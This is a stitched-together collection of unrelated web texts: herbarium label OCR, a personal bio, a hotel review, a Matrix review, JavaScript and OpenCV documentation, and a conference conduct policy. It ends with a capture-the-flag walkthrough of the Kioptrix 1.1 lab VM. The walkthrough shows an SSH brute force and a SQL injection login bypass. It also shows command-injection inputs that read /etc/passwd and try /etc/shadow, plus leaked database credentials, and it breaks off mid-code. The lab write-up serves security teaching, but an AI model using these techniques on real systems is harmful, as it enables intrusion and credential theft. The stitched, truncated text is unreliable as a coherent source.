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botanical
Garden
Lisianthius
longifolius
L.
R.
E.
WEAVER,
JR.
19/0
Duke
University
Herbarium
PLANTS
OF
JAMAICA
COLLECTED
FOR
THE
HERBARIUM
OF
DUKE
UNIVERSITY
Lisianthus
longifolius
L.
det.
C.D.
Adams
Parish
of
St.
Catherine:
vicinity
of
Red
Ground;
ca.
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miles
north
of
Old
Harbour;
elevation
500
feet.
Suffruticose;
very
common
plant
along
roadside
and
on
dry,
rocky
limestone
hillside;
corolla
yellow,
glutinous;
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Coll.
R.E.
&
Sylvia
Weaver
#1118
19
July
1967
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York
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Garden
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leaf
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removed
Name
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Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


A little about me...
I was born on an Air Force Base in Florida and have lived in various places around the world. My family settled in Tacoma, WA when I was 16. Since then, I have managed Burger King Restaurants, run a forklift for K-Mart and served in the US Air Force. My experience serving as a Youth Pastor, Adjunct Professor, College Admissions Counselor and Senior pastor have taken me all over the Northwest. As the executive leader of a thriving event planning company, I developed an understanding of what it takes to succeed in business. My world travels and pastoral work have contributed to a deep understanding on how to connect with diverse groups of people.
I have been married to my wife, Lisa, for over 30 years (although it feels like yesterday) and we have 3 kids – Joshua (29), Timothy (27) and Carolynn (22). My favorite ice cream is vanilla, because it’s like a blank canvas – it can become anything you want it to be.
Educational Background
- Code Fellows, Seattle WA | 2018
Advanced Full-Stack Javscript Development
- SBA Emerging Leaders program, Seattle WA | 2017
Executive Management Training
- Northwest Nazarene Univeristy, Nampa ID | 2011
M.A. Pastoral Ministry
- Northwest Nazarene Univeristy, Nampa ID | 1996
B.A. Philosophy
Experience
- West Coast Entertainment, Seattle WA | 2013-2018
President
- Community of Hope, Seattle WA | 2007-2015
Lead Pastor
- Hillcrest Nazarene Church, Vancouver WA | 2000-2007
Youth Pastor
- Nazarene Bible College, Colorado Spring CO | 1998-2000
Asst. Dir Online Education/Adjunct Professor
My Goals
- Learn as much as possible and get a great job after Code Fellows
- Compete on MasterChef Season 10.
- Ride in the Paris Breste Paris in 2019
Ten of My Favorite Things
- The Bible
- My Family
- Super Heroes
- Cycling
- Anything Star Wars
- Computers and Technology
- Travelling to Other Countries
- Walking on the Great Wall of China
- Halloween (but not scary/creepy)
- Spartan Events


Travel review: Luxury living at Roseate Hotel in Reading
Think of the best room you've ever stayed in, times it by five and it's still highly unlikely to match the room we were treated to at Roseate Hotel in Reading.
by James Driver-FisherAnd that's not trying to brag, it's more I've never seen anything like it in my life.
I semi-joked with my wife, Kelly, we could probably have lived in that one room.
As we own a two-bed terrace in Netherton, the size difference between the room we enjoyed for our luxurious one-stay and our actually home was pretty minimal.
After making the two-hour drive down the M40 we arrived a little earlier for our 3pm check-in so decided to try one of the many pubs around the city centre, or just outside as parking was a little tricky, before returning to get settled.
There was a lovely park directly across the road and also the Reading Abbey ruins, which only opened to the public last year following a huge fundraising campaign.
As it was the rain decided to make another appearance so we saved the mini-tour until the Sunday.
Luckily for us, we soon realised there was no need to go outside before our evening meal because the room had everything you could ever want.
Having enjoyed the odd press trip here and there over the years, we have discovered an overnight stay – or maybe two at the most – with our five-year-old daughter works really well.
But never in our lives have we been treated to the luxury that came with the The Roseate Suite. It was simply mind blowing.
The suite comes with a king-size four-poster bed, free Wi-Fi, and a state of the art Bang & Olufsen audio visual system – with a selection of CDs and DVDs – as well as a Nespresso coffee machine.
The decor for the the entire hotel was also stunning. It had that traditional feel and look about it but all with a modern twist.
For instance, our room included some original artwork and a hand-painted floral wall design. Another really nice touch.
After enjoying a few drinks, and after Annabelle had spent a good half hour rearranging her own drawer, we got changed and headed down for dinner at 7pm.
And if we thought the rooms and hotel was stylish, the restaurant was arguably even better.
We had about three different waiters serving us throughout and every single one of them was attentive, polite and really good at their job.
Nothing was too much and they were great with our daughter too.
If you were eating there it's not cheap but the quality cannot be questioned.
It's stylish food, cooked beautifully and not too much of it either.
But because it's so rich and tasty you don't need to have huge portions. At the Cerise Restaurant, the food is classed as modern European with a strong emphasis on British ingredients.
The menu changes regularly with head chef Rajesh Maharajan and the rest of his team creating something new for every season.
As well as the seasonal à la carte menu, there is also tasting menu, set lunch menus and wine dinners.
For starters, Kelly had the pork terrine, which was a beautiful piece of meat cooked to perfection. It had a great taste and very little fat.
I opted for the goat cheese fondant, which came with black olives, moscatel jelly and candied beetroot, which was a tasty, light meal that really hit the spot.
For mains it was the Himalayan salt dried sirloin of beef, with puy lentils, heritage carrots, grelot onion and jus for me.
The meat was cooked perfectly, medium rare, the way I like, and it had a powerful whack of garlic.
Kelly could not resist the cod loin. She was a great fan of the sauce, which she thought was a lobster bisque, as it really brought out some flavours.
All washed down with a lovely bottle of merlot, despite the portions being pretty small, we didn't even manage a dessert.
Although there was no child's menu is was easy to create something for Annabelle, so we went for the beefburger sliders – three of them, in fact, so she certainly didn't go hungry either, and a portion of chips.
She rounded off her own meal with some strawberry ice cream, which meant we were all headed back to our room extremely content and satisfied customers.
Ending the evening with a night cap as Annabelle drifted off, we slept so soundly in the four-poster bed before rising for breakfast.
Again, it was quality over quantity as I had the full English with two poached eggs, Kelly had the eggs Benedict and Annabelle kept it simple with some eggs, beans and sausages.
We could help ourselves to the usual fruit, cereals, cheeses and meats, so we also went slightly Continental too.
After checking out and with the weather looking a lot more favourable, we had a nice walk around Forbury Gardens and the Abbey ruins, picking up some of the fascinating local history along the way.
A truly wonderful stay. Not a bad way to spend my birthday weekend at all. In fact, I'll remember it as one of the best in a long while.
The hotel also caters for meetings and events, weddings and Christmas bookings.
The Aheli Spa boasts a bespoke menu of treatments. Signature services are designed to detox, cleanse, nourish, nurture, heal and rejuvenate.
These include body rituals, scrubs, wraps, facials and skin.
The spa also has three treatment rooms, a sauna, state of the art gym and steam room.
Fact box
The House Room:
- Comes with one Queen bed and can sleep a maximum of two guests.
- Costs £144 per night, or £168 with breakfast.
- The Roseate Suite:
- Come with one King four-poster bed, dining table, fireplace, Bang & Olufsen audio visual system, Molton Brown toiletries and Nespresso machine.
- Costs £384 per night, or £408 including breakfast.
The hotel caters for all types of meetings, events and conferences.
The facilities are flexible, feature the latest technology.
There is a boardroom meeting for 10 delegates, cinema, 30-seat private screening room and 150-guest reception.
Breakfast meals can be paid for by guests not staying, or enjoying a stay on a ‘room only’ basis.
Costs are £15 per person for the buffet, £20 per person for both our kitchen and buffet menus.
À La Carte menu: Starters range from £10-£13, mains £15-£28 and desserts £9-£11.
Classic Room and Aheli experience package, with breakfast included, costs £225.


Essential to delivering cutting edge digital solutions is our development team. From fully responsive websites, through to product development, we engineer and build robust, scalable and flexible digital solutions. With intricate back-end and interactive front-end execution, our developers deliver systems that can continue to evolve with our users' and clients' needs.
In a world of immediate communication and constant evolution; creativity is where we push the boundaries. We focus on the highest quality of visual design to ensure that we communicate, engage and interact with our client's audience.


Hello World!
Thank you for visiting my website
I am a Sophomore here at Point Park and I also play baseball.
I'm Majoring in Information Technology since I have always been interested in how computers work and learning.
Courses I Have Taken
- Databases
- Networking and Security
- Intro to Programming
- Business Analytics
- Data Structures
Interest
- Web development
- Cyber Security
- Operating Systems
- Mobile App Development
Contact me via Email
-<EMAIL_ADDRESS>- tcamp022@gmail.com


Search Results
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Calories Burned
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"The Matrix" (1999). Directed and written by Andy and Larry Wachowski, starring Keanu Reeves, Laurence Fishburne, Carrie-Anne Moss and others.
* * *
For quite some time I'd wanted to see this movie, aroused as I was by raving reviews telling me about 'a new standard in SF movies', 'a very clever script', 'intriguing philosophical questions' and so on. Finally, last weekend, time and money gave me the eye. And so I went, expecting 136 minutes of thrilling entertainment with a bite.
Boy, was I disappointed.
"The Matrix" shows us a future world in which artificial intelligence has taken over. Mankind has been enslaved. Malicious computer programs keep human bodies alive in gigantic towers, to serve as an energy source. Nobody is aware of this fact though, as their minds are fed electronic impulses which hide the real world and make them believe they're running their daily lifes as if it were still 1999. Only one group of people, living in a renegade city called Sion, has managed to remain free in both body and spirit. This group desperately tries to wake up the 'dreamers', in search of The One: the person that posseses the power to fight the AI. They succeed in contacting Neo, a young man who might be this 'One', and manage to free him. Then the battle begins.
So far, so good. Nothing wrong with these premises. Well, one might of course ask whether the human body would really form such a good energy source. Didn't it ever occur to the script writers that to gain a certain amount of energy from a biological being you'd need to put in a *multitude* of that amount first? Why doesn't the AI use thermal energy to feed itself, just like that magical Sion is supposed to do? And why all the fuzz of providing your slaves with an illusional world? Why not just chain them, let them whine and go crazy?  But, OK, the movie's supposed to be about the conflict between the virtual world and the real world, so let's not get too rational about all this.
What do we get then? Illusion versus reality. A nice theme for a movie, with many intriguing possibilities. Of course, "The Matrix" isn't exactly the first movie to delve into this matter. But let's not mention "Dark City", as everyone else seems to do (Oops! Oh, well ....). To be honest, there aren't *that* much movies that do. But there are lots of SF novels that do: read for instance Philip K. Dick's "Ubik" and "Eye in the Sky". And they do it a lot *better*. "The Matrix" may question the nature and independence of reality, it doesn't exactly ask the most *exciting* questions. OK, so there's this virtual world that's indistinguisable from a real world: minds are tricked into believing that the signals they get are transmitted by one's senses instead of being directly put into the brain. But hey, if it's really so very difficult to distinguish between a real world and a virtual world, then how can one be so sure the 'real' world actually *is* the real world? What if that real world in turn is also nothing more than 'a dream within a dream'? What if there's a mixture between both? What if the virtual world actually *is* the real world? And if the distinction is that hard to make, then what's so bad about living in a world that at least has some sunshine and steak instead of nothing more than eternal darkness and tasteless goo for breakfast? Etcetera, etcetera, ad nauseam.  Again, nothing really wrong with that, but a bit disappointing for a movie that's supposed to ask 'deep questions about reality'. Maybe it's just me, but I couldn't help thinking all this metaphysics wasn't anything more than just an excuse to show off some nice kung fu, sky jumping and spoon bending.
So, what do we keep? Essentially, a world in which our heroes possess supernatural strength and use it to fight the bad guys. Lots of high kicks, lots of ammo flying around, lots of stop-motion effects: in short, lots of John Woo. Done before, seen before. Nicely done, for sure, but hardly 'a new frontier in movie making'. Still, no real reason to get disappointed.
What really, really bothered me about "The Matrix" is not that it isn't the New Movie that it's claimed to be. It's not the lack of originality, it's not the lack of brains. I've seen worse. My main problem with this movie is that it's so utterly *boring*. Once the premises have been set (much too quick, much too early, much too obvious), nothing happens that can't be seen with your eyes closed half an hour in advance. We have to sympathise with people we never get to know, we have the obliged love interest, we have the obliged 'traitor among us', we have the obliged demi-god for a hero, we have the obliged snazzy dialogue between the goodies and the baddies - the only thing missing is the car chase in rush hour. Without all the eye candy (which I've seen better done on MTV, by the way), "The Matrix" is just your average 'saturday night and all the other channels are showing commercials' type of movie.
"There is no spoon"? Wrong. There is a spoon, and it's been polished till it shines like silver, but there's nothing in it. Don't believe the hype.
Homme A. Piest. -----
User ID: "Homme A. Piest
"Stat rosa pristina nomine, nomina nuda tenemus."
The review above was posted to the
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Related links: index of all rec.arts.movies.reviews reviews


This APA Checker/Lint/Validator does miscellaneous checks for conformity with the American Psychological Association APA citation and format style.
Just paste in your document below, then press Validate.
The source code is written in JavaScript, so it's easy for people to modify and to create patches/pull requests.
Is there a check that isn't working well? Something annoying? Too many false positives? Report a problem.


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Features:
- counts time till exact date;
- has custom skin designs.
Description
Files needed to work with the timer:
- jquery-1.7.1.min.js – jQuery library (the timer will work with this version of library only);
- jquery.countdown.min.js – the timer functionality;
- demo.css – the set of CSS styles for the timer stylization.
Please include the following files in the  section of HTML file to start working with the timer:
<link rel="stylesheet" href="css/demo.css" type="text/css" media="all">

The HTML Timer Structure:

Days

Hours

Minutes

Seconds

Initialization
You can find code for the timer initialization in the end of the jquery.countdown.min.js file:
$(document).ready(function(){
var _date=new Date()
,countdown_to={
year:2013
,month:6
,date:13
,hours:0
,minutes:15
,seconds:00
}
_date.setFullYear(countdown_to.year,countdown_to.month,countdown_to.date)
_date.setHours(countdown_to.hours)
_date.setMinutes(countdown_to.minutes)
_date.setSeconds(countdown_to.seconds)
/*code for demonstration*/
_date=new Date()
_date.setMonth(_date.getMonth()+8)
/*end code for demonstration*/
$('#counter').countdown({
image: 'images/digits_inverted.png',
startTime: _date,
stepTime: 35
});
});
The initialization occurs on the event $(document).ready().
Parameters:- image – shows path to the image which will be used as a skin (the directory images contains files that you can use as skins for the timer);
- startTime – sets the final date of the countdown. Time countdown is implemented with the help of variable _date;
- stepTime – sets cycle rate of numbers’ animation.
The demo version shows the time that remains from the current date plus 8 months. That is why timer starts a new countdown every time you refresh the demo page. Here is a code where you can edit these parameters:
/*code for demonstration*/
_date=new Date()
_date.setMonth(_date.getMonth()+8)
/*end code for demonstration*/
If you want to set exact date, you should change variable _date. To do this you must change values for year, month(pay attention that months’ numbering starts from zero), date, hours, minutes, seconds. Here is a piece of code where you can change these parameters:
$(document).ready(function(){
var _date=new Date()
,countdown_to={
year:2013
,month:6
,date:13
,hours:0
,minutes:15
,seconds:00
}
});
Also you have to delete the following code:
/*code for demonstration*/
_date=new Date()
_date.setMonth(_date.getMonth()+8)
/*end code for demonstration*/
Color themes
Below you’ll find examples of skin solutions for the timer. All these skins you can find in images directory.
$('#counter').countdown({
image: 'images/digits_inverted.png',
});
$('#counter').countdown({
image: 'images/digits.png',
});
$('#counter').countdown({
image: 'images/digits2.png',
});
$('#counter').countdown({
image: 'images/digits2_blue.png',
});
$('#counter').countdown({
image: 'images/digits2_green.png',
});
$('#counter').countdown({
image: 'images/digits2_orange.png',
});
$('#counter').countdown({
image: 'images/digits2_purple.png',
});
$('#counter').countdown({
image: 'images/digits2_red.png',
});
$('#counter').countdown({
image: 'images/digits2_yellow.png',
});


A MATLAB script for numerically solving the Laplace equation with Dirichlet boundary conditions inside an irregular (non-rectangular) region. The Laplace equation is the centerpiece of steady-state heat transfer and potential theory.
The generated solution is displayed in a 3-D plot, which can be swung to an arbitrary viewing angle. (In MATLAB, that's the easy part.)
The irregular region is defined by specifying a binary inclusion function on the region's rectangular convex hill, and, as such, the script is particularly sensitive to resolution.
Written for Dr. Moody Chu's Numerical Analysis II at NCSU.


Every container in a fabric requires a name. In addition there are some general options you can specify for all container types.
Specifies the name for the new container. The name must be unique within the fabric. It must not include: spaces, asterisks (*), commas (,), dollar signs ($), colons (:), semi-colons (;), percent signs (%), back slashes (\), or other special characters.
Important: This field in mandatory.
Selecting this option will make this container a fabric registry agent. It will be one of the containers responsible for maintaining the fabric's registry data.
Tip: Fabric registry agents should not host any application services.
Selecting this option makes the container emit JMX statistics.
Setting this option will direct the container to use the provided Maven proxy for downloading any required artifacts.
Specifies how many clones of the container to create. The clones will append an instance number to the value specified in the Name field. For example, if the specified name was esb, the resulting containers will be named esb1, esb2, esb3, etc..


CrimPapers
Articles published on 5 February 2019
On 5 February 2019, 11 new articles were published in 9 journals.
Past Experiences of Getting Bullied and Assaulted and Posttraumatic Stress Disorder (ptsd) After A Severe Traumatic Event in Adulthood: A Study of World Trade Center (wtc) Responders by Soumyadeep Mukherjee, Sean Clouston, Evelyn Bromet, George S. Leibowitz, Stacey B. Scott, Kristin Bernard, Roman Kotov, Benjamin Luft
Sexual Abuse and Exploitation of Prek-12 Students By School Personnel by Billie-Jo Grant, Charol Shakeshaft, Jessica Mueller
Why the Focus of Clerical Child Sexual Abuse Has Largely Remained on the Catholic Church Amongst Other Non-Catholic Christian Denominations and Religions by Faisal Rashid, Ian Barron
Quality of Written Record Following Mock Eyewitness Testimony: Note Taking Should Be A Minimum Standard! by Jessica Meise,
anja Leue
Pausing in the Wake of Rapid Adoption: A Call to Critically Examine the Veterans Treatment Court Concept by Julie Marie Baldwin, Erika J. Brooke
Crime Linkage: Finding A Behavioral Fingerprint Using the “Path Similarity Metric”
Receiving Social Support After Short-Term Confinement: How Support Pre- and During-Confinement Contribute by Audrey Hickert, Hanneke Palmen, Anja Dirkzwager, Paul Nieuwbeerta
Race/ethnicity, Perceived Skin Color, and the Likelihood of Adult Arrest by Jessica G. Finkeldey, Stephen Demuth
A Security Risk Perception Model For the Adoption of Mobile Devices in the Healthcare Industry
Animal Maltreatment in the Context of Intimate Partner Violence: A Manifestation of Power and Control? by Amy J. Fitzgerald, Betty Jo Barrett, Rochelle Stevenson, Chi Ho Cheung
Sexual Violence Against Women in India: Daily Life and Coping Strategies of Young Women in Delhi by Christina Nieder, Christoph Muck, Joscha Kärtner


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$path->[$pathIx-1]
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$object->getTitle()
getResolvedUrl() && $page->getResolvedUrl->getUrl() !~ m{ \.o2 \z }xms">
This is the last category
> $object->getTitle()
This is rendered for all between first and last category
> $object->getTitle()
Navline will appear when page is saved


train Trains the statistical model
status = model.train(samples, responses)
status = model.train(csvFilename, [])
[...] = model.train(..., 'OptionName', optionValue, ...)
Input
- samples matrix of training samples. It should have
single
type. By default, each row represents a sample
(see the Layout
option).
- responses matrix of associated responses. A vector of
categorical labels.
- csvFilename The input CSV file name from which to load
dataset. In this variant, you should set the second
argument to an empty array.
Output
Options
- Data Training data options, specified as a cell array of
key/value pairs of the form
{'key',val, ...}
. See below.
- Flags The optional training flags, model-dependent. For
convenience, you can set the individual flag options
below, instead of directly setting bits here. default 0
- UpdateModel Specifies whether the model should be trained
from scratch (
UpdateModel=false
), or should be updated
using the new training data (UpdateModel=true
) instead
of being completely overwritten. default false
Options for Data
(first variant with samples and reponses)
- Layout Sample types. Default 'Row'. One of:
- Row each training sample is a row of samples.
- Col each training sample occupies a column of
samples.
- VarIdx vector specifying which variables to use for
training. It can be an integer vector (
int32
) containing
0-based variable indices or logical vector (uint8
or
logical
) containing a mask of active variables. Not set
by default, which uses all variables in the input data.
- SampleIdx vector specifying which samples to use for
training. It can be an integer vector (
int32
) containing
0-based sample indices or logical vector (uint8
or
logical
) containing a mask of training samples of
interest. Not set by default, which uses all samples in
the input data.
- SampleWeights optional floating-point vector with weights
for each sample. Some samples may be more important than
others for training. You may want to raise the weight of
certain classes to find the right balance between hit-rate
and false-alarm rate, and so on. Not set by default, which
effectively assigns an equal weight of 1 for all samples.
- VarType optional vector of type
uint8
and size
<num_of_vars_in_samples> + <num_of_vars_in_responses>
,
containing types of each input and output variable. By
default considers all variables as numerical (both input
and output variables). In case there is only one output
variable of integer type, it is considered categorical.
You can also specify a cell-array of strings (or as one
string of single characters, e.g 'NNNC'). Possible values:
- Numerical, N same as 'Ordered'
- Ordered, O ordered variables
- Categorical, C categorical variables
- MissingMask Indicator mask for missing observation (not
currently implemented). Not set by default
- TrainTestSplitCount divides the dataset into train/test
sets, by specifying number of samples to use for the test
set. By default all samples are used for the training set.
- TrainTestSplitRatio divides the dataset into train/test
sets, by specifying ratio of samples to use for the test
set. By default all samples are used for the training set.
- TrainTestSplitShuffle when splitting dataset into
train/test sets, specify whether to shuffle the samples.
Otherwise samples are assigned sequentially (first train
then test). default true
Options for Data
(second variant for loading CSV file)
- HeaderLineCount The number of lines in the beginning to
skip; besides the header, the function also skips empty
lines and lines staring with '#'. default 1
- ResponseStartIdx Index of the first output variable. If
-1, the function considers the last variable as the
response. default -1
- ResponseEndIdx Index of the last output variable + 1. If
-1, then there is single response variable at
ResponseStartIdx
. default -1
- VarTypeSpec The optional text string that specifies the
variables' types. It has the format
ord[n1-n2,n3,n4-n5,...]cat[n6,n7-n8,...]
. That is,
variables from n1
to n2
(inclusive range), n3
, n4
to n5
... are considered ordered and n6
, n7
to
n8
... are considered as categorical. The range
[n1..n2] + [n3] + [n4..n5] + ... + [n6] + [n7..n8]
should cover all the variables. If VarTypeSpec
is not
specified, then algorithm uses the following rules:
- all input variables are considered ordered by default.
If some column contains has non- numerical values, e.g.
'apple', 'pear', 'apple', 'apple', 'mango', the
corresponding variable is considered categorical.
- if there are several output variables, they are all
considered as ordered. Errors are reported when
non-numerical values are used.
- if there is a single output variable, then if its values
are non-numerical or are all integers, then it's
considered categorical. Otherwise, it's considered
ordered.
- Delimiter The character used to separate values in each
line. default ','
- Missing The character used to specify missing
measurements. It should not be a digit. Although it's a
non-numerical value, it surely does not affect the
decision of whether the variable ordered or categorical.
default '?'
- TrainTestSplitCount same as above.
- TrainTestSplitRatio same as above.
- TrainTestSplitShuffle same as above.
The method trains the Normal Bayes classifier. It follows the
conventions of the generic train approach with the following
limitations:
- Input variables are all ordered.
- Output variable is categorical, which means that elements of
responses
must be integer numbers, though the vector may
have the single
type.
- Missing measurements are not supported.
The method trains the statistical model using a set of input
feature vectors and the corresponding output values (responses).
Both input and output vectors/values are passed as matrices.
The input feature vectors are stored as trainData rows, that
is, all the components (features) of a training vector are
stored continuously.
Responses are usually stored in a 1D vector (a row or a column)
of integers.


|
| Type |
Size in bits |
Value range |
Step size (least value greater than 0) |
| short __fixed |
8 |
-1.0r to 0.9921875r |
0.0078125r |
| unsigned short __fixed |
7 |
0.0ur to 0.9921875r |
0.0078215ur |
| __fixed |
16 |
-1.0r to 0.99996928..r |
0.000030..r |
| unsigned __fixed |
15 |
0.0r to 0.99996928..ur |
0.000030..ur |
[NOTE: Succeeding `r' and `ur' in above value ranges represents a __fixed type signed and unsigned constants, respectively.]
|


Lighthouse Island Bistro offers the best coffee on the coast. Indulge in the aroma of locally roasted, freshly ground coffee.


Code of Conduct Response Policy
Warnings
Any member of conference staff can issue a verbal warning to a participant that their behavior violates the conference's Code of Conduct. Warnings should be reported to Eric Holscher<PHONE_NUMBER> or<EMAIL_ADDRESS>as soon as practical. The report should include:
- Identifying information (name of the participant)
- The time you issued the warning
- The behavior that was in violation
- The approximate time of the behavior (if different than the time of warning)
- The circumstances surrounding the incident
- Your identity
- Other people involved in the incident
Presentations
Presentations or similar events should not be stopped for one-time gaffes or minor problems, although a member of conference staff should speak to the presenter afterward. However, staff should take immediate action to politely and calmly stop any presentation or event that repeatedly or seriously violates the anti-harassment policy. For example, simply say "I'm sorry, this presentation cannot be continued at the present time" with no further explanation.
Taking reports
When taking a report from someone experiencing harassment you should record what they say and reassure them they are being taken seriously, but avoid making specific promises about what actions the organizers will take. Ask for any other information if the reporter has not volunteered it (such as time, place) but do not pressure them to provide it if they are reluctant. Even if the report lacks important details such as the identity of the person taking the harassing actions, it should still be recorded and passed along to the appropriate staff member(s).
If the reporter desires it, arrange for an escort by conference staff or a trusted person, contact a friend, and contact local law enforcement. Do not pressure the reporter to take any action if they do not want to do it. Respect the reporter's privacy by not sharing unnecessary details with others, especially individuals who were not involved with the situation or non-staff members.
- Identifying information (name/badge number) of the participant
- The time you issued the warning
- The behavior that was in violation
- The approximate time of the behavior (if different than the time of warning)
- The circumstances surrounding the incident
- Your identity
- Other people involved in the incident
Expulsion
A participant may be expelled by the decision of any of the above listed entities for whatever reasons they deem sufficient. However, here are some general guidelines for when a participant should be expelled:
- A third offense resulting in a warning from staff
- Continuing to harass after any "No" or "Stop" instruction
- A pattern of harassing behavior, with or without warnings
- A single serious offense (e.g., punching or groping someone)
- A single obviously intentional offense (e.g., taking up-skirt photos)
Hotel/venue security and local authorities should be contacted when appropriate. Contact Eric Holscher<PHONE_NUMBER> or<EMAIL_ADDRESS>to start this process.
Public statements
As a general rule, conference staff should not make any public statements about the behavior of individual people during or after the conference.
In general, consult with other staff members when possible but act when necessary.


Former Willy Street BBQ restaurant owner launching GoFundMe to start new mobile venture
That BBQ Joint closed in February 2019
by Maija InveissClement Henriques, who opened the now-closed That BBQ Joint with his mother in October 2013, has launched a GoFundMe page to raise funds for a new mobile venture.
That BBQ Joint closed in February 2019 after five years in business.
"Sadly, the winter of 2018-19 proved to be the downfall of our small shop," Henriques wrote. "Often times, small businesses are literally living hand to mouth, and a couple few slow months can bring everything into perspective and it becomes decision time. We decided it was best to cut our losses and close."
Henriques says owning and running a brick and mortar restaurant comes with challenges, so the next step is going mobile. According to the fundraiser, he is hoping to raise money for a truck, cart or both if possible.
He says he has access to cooking space and equipment, but lacks the funding to get the business rolling.
"I would love the opportunity to get back to doing what I am deeply passionate about and to try and continue what I looked at as a family legacy," he wrote.
Henriques says he hopes to get the cart on the streets by next spring.


Vulnhub - Kioptrix 1.1 (#2)
Kioptrix level 2, here we go! Follow along by grabbing the VM on https://www.vulnhub.com/entry/kioptrix-level-11-2,23/. Make sure to download the level 2 - updated version as the first release had a bug in the web application.
The goal is the same than the previous one: get root by any possible mean.
Fixing the network
As the previous Kioptrix, the network wasn’t working out of the box for me.
-
Shut down the VM
-
Edit the
CentOs4.5.vmx
file and replace:ethernet0.connectionType = "bridged"
with:
ethernet0.connectionType = "NAT"
-
Start the VM
Get the IP of the VM
Run arp-scan
from your kali box:
$ sudo arp-scan <IP_ADDRESS>/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fd:2b:71, IPv4: <IP_ADDRESS>
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
<IP_ADDRESS> 00:50:56:c0:00:08 VMware, Inc.
<IP_ADDRESS> 00:50:56:fd:11:d0 VMware, Inc.
<IP_ADDRESS> 00:0c:29:d1:f5:b9 VMware, Inc.
<IP_ADDRESS> 00:50:56:fe:b1:9f VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.069 seconds (123.73 hosts/sec). 4 responded
The target VM has IP <IP_ADDRESS>.
Recon
Extracting the archive already gives us the OS: CentOs 4.5
Let’s run nmap to discover the services:
$ sudo nmap -T4 -p- -A -oA nmap_tcp <IP_ADDRESS>
List of services and ports:
| Port | Service and Version |
|---|---|
| 22 | OpenSSH 3.9p1 (protocol 1.99) |
| 80 | Apache httpd 2.0.52 ((CentOS)) |
| 111 | rpcbind 2 (RPC #100000) |
| 631 | CUPS 1.1 |
| 856 | 1 (RPC #100024) |
| 3306 | mysql |
22 SSH
I started running a SSH brute-force in the background, just in case it gets somewhere:
$ hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 -V ssh://<IP_ADDRESS>
Spoiler: it didn’t work ~~
Looking for CVEs with public exploits didn’t turn up anything interesting either.
Looks like a dead end… Let’s go and poke something else :D
80/443 Apache server
What do we know so far?
- Apache 2.0.52 (centOS)
- PHP/4.3.9 from the HTTP header
X-Powered-By
Login Form
Checking the source code of the page:
<!-- Start of HTML when logged in as Administator -->
Username might be Administrator ? Administator ? I tried a bunch of default login/passwords, nothing :(
Next, I started a nikto and gobuster scans in the background while I poke other stuff:
nikto scan:
$ nikto -output=nikto.txt -host http://<IP_ADDRESS>
gobuster scan:
$ gobuster dir -o gobuster.txt -u http://<IP_ADDRESS> -w /usr/share/dirb/wordlists/common.txt
What if there’s an interesting CVE for apache 2.0.52? Couldn’t find anything :(
Maybe a SQL injection then? We know the database is a mysql (from the Nmap scan), let’s try a basic SQLi:
' or 1=1#
This input in the username field lets us pass the authentication page /o/
The Basic Administrative Web Console
We know have access to a utility to ping a machine on the network:
Behind the scenes, the command used probably looks like:
ping -c 3 <ip>
Can we do more than ping though? Let’s checkout a few command injection techniques:
<IP_ADDRESS>; cat /etc/shadow
<IP_ADDRESS> && cat /etc/shadow
<IP_ADDRESS> $(cat /etc/shadow)
No luck getting these to work. Then I realized that maybe I should be running commands that don’t require privileges…
; cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
; whoami
apache
So, we are running commands as apache
, which explains why we can’t just cat /etc/shadow
…
A ls
and a cat
in the current directory allows us to peek at the php source code:
; cat index.php
<?php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
//print "Connected to MySQL<br />";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
//print $query."
";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."
";
}
?>
Some creds here for mysql: john:hiroshima
, let’s take a note of that somewhere.
And pingip.php
is exactly what we thought:
; cat pingit.php
<?php
';
